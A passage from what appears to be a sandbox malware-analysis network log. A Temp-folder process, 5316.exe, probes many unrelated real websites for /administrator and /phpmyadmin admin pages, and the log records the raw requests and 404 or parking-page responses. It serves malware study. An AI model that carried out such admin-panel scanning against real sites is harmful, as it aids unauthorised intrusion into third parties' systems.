2023-12-20 02:13:23 UTC	270	IN	Data Raw: 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a Data Ascii: red</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	54081	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:22 UTC	380	OUT	GET /administrator/index.php HTTP/1.1 Host: ornos.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://ornos.com/administrator/
2023-12-20 02:13:23 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_NXHCOgai0GJFZHzGElK51BT7SGN8pQ/wZegFGy9ulITC2NEg3OWPu16Ir9JV6PuHSQ2XdIB/mydrtQCNWQ5aFQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:23 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	53806	199.34.228.152	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:22 UTC	181	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.lisvankooten.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:23 UTC	723	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:23 GMT Server: Apache Set-Cookie: is_mobile=0; path=/; domain=www.lisvankooten.com Vary: X-W-SSL,User-Agent Set-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:23 GMT; Max-Age=1209600; path=/ Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:23 GMT; Max-Age=315360000; path=/ Cache-Control: private X-Host: blu133.sf2p.intern.weebly.net X-UA-Compatible: IE=edge,chrome=1 Content-Length: 3909 Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:23 UTC	725	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Pa
2023-12-20 02:13:23 UTC	3184	IN	Data Raw: 5f 30 2e 65 6f 74 22 29 3b 0a 09 09 09 73 72 63 3a 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 65 6f 74 3f 23 69 65 66 69 78 22 29 20 66 6f 72 6d 61 74 28 22 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 22 29 2c 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 77 6f 66 66 22 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 Data Ascii: _0.eot");src: url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.eot?#iefix") format("embedded-opentype"), url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.woff") format("woff")

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	54074	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:22 UTC	187	OUT	GET /administrator HTTP/1.1 Host: www.newriverclimbing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:23 UTC	1086	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038403.18216550828116725972 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:23 GMT X-Served-By: cache-dfw-kdfw8210034-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLg+F4RAy97FgBhKEMuS3Uv05XEckg9t2+jA6cQOj+vGJ,2d58ifebGbosy5xc+FRalh9dSXFnbVkuWm6RM1u/98dhc6Zd1dFWeQLjaNe/maN6h3qEg9Mh7Rs5HUBYKvaWVg==,2UNV7KOq4oGjA5+PKsX47PmOi36p/Q7Ico3sut0FtX4fbJaKSXYQ/lskq2jK6SGP,DY1v+aegb3s4AAkdrJsUZUSfsPjeh+wOoPebqPrPO1w=,355BgrcJIkJgSeNTU+yiMhYscfXKeVSdXiuZ84ywgZ4=,0gGrL7iazMoiuqlb7dEO3VykJBCorZ8hHkHqeS6CMYYUVEyDN3A38tMpcHZdr0TkD5hgdkM3kJ2lBxKNrxdApg== Transfer-Encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:23 UTC	166	IN	Data Raw: 62 37 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 Data Ascii: b71 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sc
2023-12-20 02:13:23 UTC	1252	IN	Data Raw: 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 Data Ascii: ale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width">
2023-12-20 02:13:23 UTC	1252	IN	Data Raw: 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 Data Ascii: vices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719
2023-12-20 02:13:23 UTC	271	IN	Data Raw: 72 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e Data Ascii: rred</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	54072	83.98.155.23	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:23 UTC	180	OUT	GET /administrator/ HTTP/1.1 Host: a2b-internet.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:23 UTC	373	IN	HTTP/1.1 302 Found Date: Wed, 20 Dec 2023 02:13:23 GMT Server: Apache/2 X-Powered-By: PHP/7.4.33 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: https://www.a2b-internet.com Cache-Control: max-age=0 Expires: Wed, 20 Dec 2023 02:13:23 GMT Vary: Accept-Encoding,User-Agent Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	54319	23.227.38.74	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:23 UTC	591	OUT	GET /administrator/index.php HTTP/1.1 Host: www.ecochild.com.au Accept: / Accept-Encoding: deflate, gzip Cookie: secure_customer_sig=; localization=AU; _shopify_s=45b1ae4b-ea13-4346-a0c4-30ace4b3496e; _shopify_y=986c823c-bca7-4440-8ba4-a7c0f42fd11c; _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22AU%22%2C%22sale_of_data_region%22%3Afalse%7D User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.ecochild.com.au/administrator
2023-12-20 02:13:23 UTC	1275	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 60 X-Sorting-Hat-ShopId: 7475083 Vary: Accept-Encoding Vary: Accept X-Frame-Options: DENY X-ShopId: 7475083 X-ShardId: 60 Content-Language: en-AU X-Liquid-Rendered-At: 2023-12-20T02:13:23.586361583Z Strict-Transport-Security: max-age=7889238 Set-Cookie: localization=AU; path=/; expires=Fri, 20 Dec 2024 02:13:23 GMT; SameSite=Lax Set-Cookie: secure_customer_sig=; path=/; expires=Fri, 20 Dec 2024 02:13:23 GMT; secure; HttpOnly; SameSite=Lax Set-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22AU%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=ecochild.com.au; path=/; expires=Thu, 21 Dec 2023 02:13:23 GMT; SameSite=Lax Set-Cookie: _shopify_y=986c823c-bca7-4440-8ba4-a7c0f42fd11c; Expires=Thu, 19-Dec-24 02:13:23 GMT; Domain=ecochild.com.au; Path=/; SameSite=Lax Set-Cookie: _shopify_s=45b1ae4b-ea13-4346-a0c4-30ace4b3496e; Expires=Wed, 20-Dec-23 02:43:23 GMT; Domain=ecochild.com.au; Path=/; SameSite=Lax Server-Timing: processing;dur=105 X-Shopify-Stage: production
2023-12-20 02:13:23 UTC	1164	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 6e 6f 6e 65 27 3b 20 75 70 67 72 61 64 65 2d 69 6e 73 65 63 75 72 65 2d 72 65 71 75 65 73 74 73 3b 20 72 65 70 6f 72 74 2d 75 72 69 20 2f 63 73 70 2d 72 65 70 6f 72 74 3f 73 6f 75 72 63 65 25 35 42 61 63 74 69 6f 6e 25 35 44 3d 6e 6f 74 5f 66 6f 75 6e 64 26 73 6f 75 72 63 65 25 35 42 61 70 70 25 35 44 3d 53 68 6f 70 69 66 79 26 73 6f 75 72 63 65 25 35 42 63 6f 6e 74 72 6f 6c 6c 65 72 25 35 44 3d 73 74 6f 72 65 66 72 6f 6e 74 5f 73 65 63 74 69 6f 6e 25 32 46 73 68 6f 70 26 73 6f 75 72 63 65 25 35 42 73 65 63 74 69 6f 6e 25 35 44 3d 73 74 6f 72 65 66 72 6f 6e 74 26 73 6f 75 72 63 65 25 35 42 75 75 69 64 25 35 44 3d 65 37 62 34 30 38 Data Ascii: Content-Security-Policy: frame-ancestors 'none'; upgrade-insecure-requests; report-uri /csp-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=e7b408
2023-12-20 02:13:23 UTC	1369	IN	Data Raw: 31 30 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 72 22 20 2f 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 0a 20 20 20 20 2a 20 7b 20 62 6f 72 64 65 72 3a 30 3b 20 6d 61 72 67 69 6e 3a 30 3b 20 70 61 64 64 69 6e 67 3a 30 3b 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 Data Ascii: 10a8<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>404 Not Found</title> <meta name="referrer" content="never" /> <style type="text/css"> * { border:0; margin:0; padding:0; -moz-box-sizing:border-box; -webkit-box-sizi
2023-12-20 02:13:23 UTC	1369	IN	Data Raw: 6f 20 7b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 30 70 78 3b 20 7d 0a 0a 20 20 20 20 2e 63 6f 6e 74 65 6e 74 2d 2d 62 6c 6f 63 6b 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 30 70 78 3b 20 7d 0a 20 20 20 20 2e 63 6f 6e 74 65 6e 74 2d 2d 64 65 73 63 20 7b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 32 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 20 7d 0a 20 20 20 20 2e 63 6f 6e 74 65 6e 74 2d 2d 64 65 73 63 2d 6c 61 72 67 65 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 38 70 78 3b 20 7d 0a 0a 20 20 20 20 2e 72 65 71 75 65 73 74 2d 69 64 20 7b 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 30 30 70 78 3b 20 66 6f Data Ascii: o { margin-bottom:30px; } .content--block { position:relative; margin-bottom:50px; } .content--desc { margin-bottom:32px; position:relative; } .content--desc-large { font-size:20px; line-height:28px; } .request-id { padding-top:100px; fo
2023-12-20 02:13:23 UTC	1369	IN	Data Raw: 69 64 3d 22 77 68 61 74 2d 77 65 6e 74 2d 77 72 6f 6e 67 3f 22 20 73 6b 65 74 63 68 3a 74 79 70 65 3d 22 4d 53 4c 61 79 65 72 47 72 6f 75 70 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 32 33 31 2e 30 30 30 30 30 30 2c 20 34 34 34 2e 30 30 30 30 30 30 29 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 20 69 64 3d 22 77 61 72 6e 69 6e 67 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2e 30 30 30 30 30 30 2c 20 37 37 2e 30 30 30 30 30 30 29 22 20 73 6b 65 74 63 68 3a 74 79 70 65 3d 22 4d 53 53 68 61 70 65 47 72 6f 75 70 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 37 2e 35 39 33 2c 30 2e 34 39 32 20 43 31 38 2e 32 31 37 Data Ascii: id="what-went-wrong?" sketch:type="MSLayerGroup" transform="translate(231.000000, 444.000000)"> <g id="warning" transform="translate(0.000000, 77.000000)" sketch:type="MSShapeGroup"> <path d="M17.593,0.492 C18.217
2023-12-20 02:13:23 UTC	165	IN	Data Raw: 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 29 22 3e 52 65 74 75 72 6e 20 74 6f 20 74 68 65 20 70 72 65 76 69 6f 75 73 20 70 61 67 65 2e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 75 6c 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: <li><a href="javascript:history.back()">Return to the previous page.</a></li> </ul> </div> </div> </div> </div></body></html>
2023-12-20 02:13:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	54311	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:23 UTC	394	OUT	GET /administrator/index.php HTTP/1.1 Host: mobiamericas.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://mobiamericas.com/administrator/
2023-12-20 02:13:23 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_hFKqrz4pFWzrczoUHFobdeJ1dWuJPKku3CigifmMT4GPEeMwS0pk9P3dgbgi0KBLtuetHqIguqZDpPJopOiQ8w Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:23 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" 